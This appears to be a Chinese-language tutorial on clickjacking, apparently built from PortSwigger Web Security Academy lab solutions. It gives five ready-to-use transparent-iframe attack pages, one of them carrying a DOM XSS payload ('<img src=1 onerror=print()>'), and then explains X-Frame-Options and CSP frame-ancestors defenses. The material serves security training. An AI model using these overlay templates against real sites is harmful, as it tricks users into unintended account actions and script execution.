一、什么是点击劫持
点击劫持(Clickjacking)是一种利用Web页面层叠的透明图层技术的攻击方式。攻击者将有害的网站内容覆盖在一个看似无害的页面上,当用户点击看似无害页面时,实际上是触发了隐藏在下层的有害操作,如下载恶意软件、操纵用户账户等。
这种攻击方式通常被用于社交工程攻击、网络钓鱼以及其他种类的诈骗活动中。点击劫持攻击往往难以被用户察觉,因为用户认为他们点击了无害页面上的链接,而实际上却做了完全不同的事情。
二、利用方式
1、使用 CSRF 令牌保护的基本点击劫持
<style>
iframe {
position:relative;
width:500px;
height: 700px;
#透明度
opacity: 0.001;
z-index: 2;
}
div {
position:absolute;
top:500px ;
left: 59px;
z-index: 1;
}
</style>
#构造页面
<div>Click me</div>
#攻击页面
<iframe src="https://0a75006703037302c2f28a29008e001f.web-security-academy.net/my-account"></iframe>
2、使用从 URL 参数预填充的表单输入数据的点击劫持
<style>
iframe {
position:relative;
width:500px;
height: 700px;
opacity: 0.001;
z-index: 2;
}
div {
position:absolute;
top:450px ;
left: 59px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://0a4f001a038b7f06c4cdac0b00160045.web-security-academy.net/my-account?email=edeeer@normal-user.net"></iframe>
3、使用帧破坏脚本进行点击劫持
sandbox="allow-forms" 表示在受到 sandbox 约束的 iframe 中允许表单提交。如果不设置此项,受到约束的 iframe 中的表单将无法提交。
<style>
iframe {
position:relative;
width:500px;
height: 700px;
opacity: 0.001;
z-index: 2;
}
div {
position:absolute;
top:450px ;
left: 59px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://0ab700e70475ee95c127c62e00900017.web-security-academy.net/my-account?email=edeeer@normal-user.net" sandbox="allow-forms"></iframe>
4、利用点击劫持漏洞触发基于 DOM 的 XSS
<style>
iframe {
position:relative;
width:500px;
height: 900px;
opacity: 0.001;
z-index: 2;
}
div {
position:absolute;
top:795px ;
left: 59px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://0ac1009e03c60905c1938589009800a3.web-security-academy.net/feedback/?name=<img src=1 onerror=print()>&email=1231@qq.com&subject=qweqw&message=sdfsdf" ></iframe>
5、多步骤点击劫持
<style>
iframe {
position:relative;
width:500px;
height: 700px;
opacity: 0.0001;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:500px;
left:60px;
z-index: 1;
}
.secondClick {
top:290px;
left:200px;
}
</style>
<div class="firstClick">Click me firstfirst</div>
<div class="secondClick">Click me next</div>
<iframe src="https://0a7b00fe04eeb63ac01536df008d0055.web-security-academy.net/my-account" ></iframe>
三、防御方式
1、X-Frame-Options
X-Frame-Options 最初是在 Internet Explorer 8 中作为非官方响应标头引入的,并迅速被其他浏览器采用。标头为网站所有者提供了对 iframe 或对象的使用的控制。
浏览器不允许当前页面在任何情况下嵌入到任何网站中:
X-Frame-Options: deny
浏览器允许当前页面在相同域名下的网站中显示:
X-Frame-Options: sameorigin
浏览器允许当前页面在指定的 URI 下的网站:
X-Frame-Options: allow-from https://normal-website.com
2、 内容安全策略 (CSP)
内容安全策略 (CSP) 是一种检测和预防机制,通过控制浏览器中加载的内容针对 XSS 和点击劫持等攻击提供缓解措施。
CSP 的基本思想是允许网站所有者定义一份策略清单,明确指定允许哪些来源的内容被加载和执行,拒绝其余的来源。
CSP 可以通过 HTTP响应头中的 Content-Security-Policy 或者 X-Content-Security-Policy 字段来设置,其值为一段规则字符串,规则字符串由一个或多个指令组成,指令可以通过分号或逗号来分隔。
- frame-ancestors:该指令用于限制哪些页面可以在 <frame>、<iframe>、<embed> 和 <object> 元素中嵌入该网站的内容。
- Content-Security-Policy: frame-ancestors 'none';完全禁止其他网站嵌入该网站的内容。
- Content-Security-Policy: frame-ancestors 'self’;允许在与当前页面相同域名网站中显示。
- Content-Security-Policy: frame-ancestors normal-website.com;允许在指定白名单域名网站中显示。
其他配置:
- qdefault-src:定义默认资源来源,如果某个资源没有指定来源,则会使用默认来源。
- script-src:定义可信任的脚本来源。
- style-src:定义可信任的样式表来源。
- img-src:定义可信任的图片来源。
- connect-src:定义可信任的XHR(XMLHttpRequest)来源。
- frame-src:定义可信任的iframe来源。
- font-src:定义可信任的字体来源。
- media-src:定义可信任的音视频来源。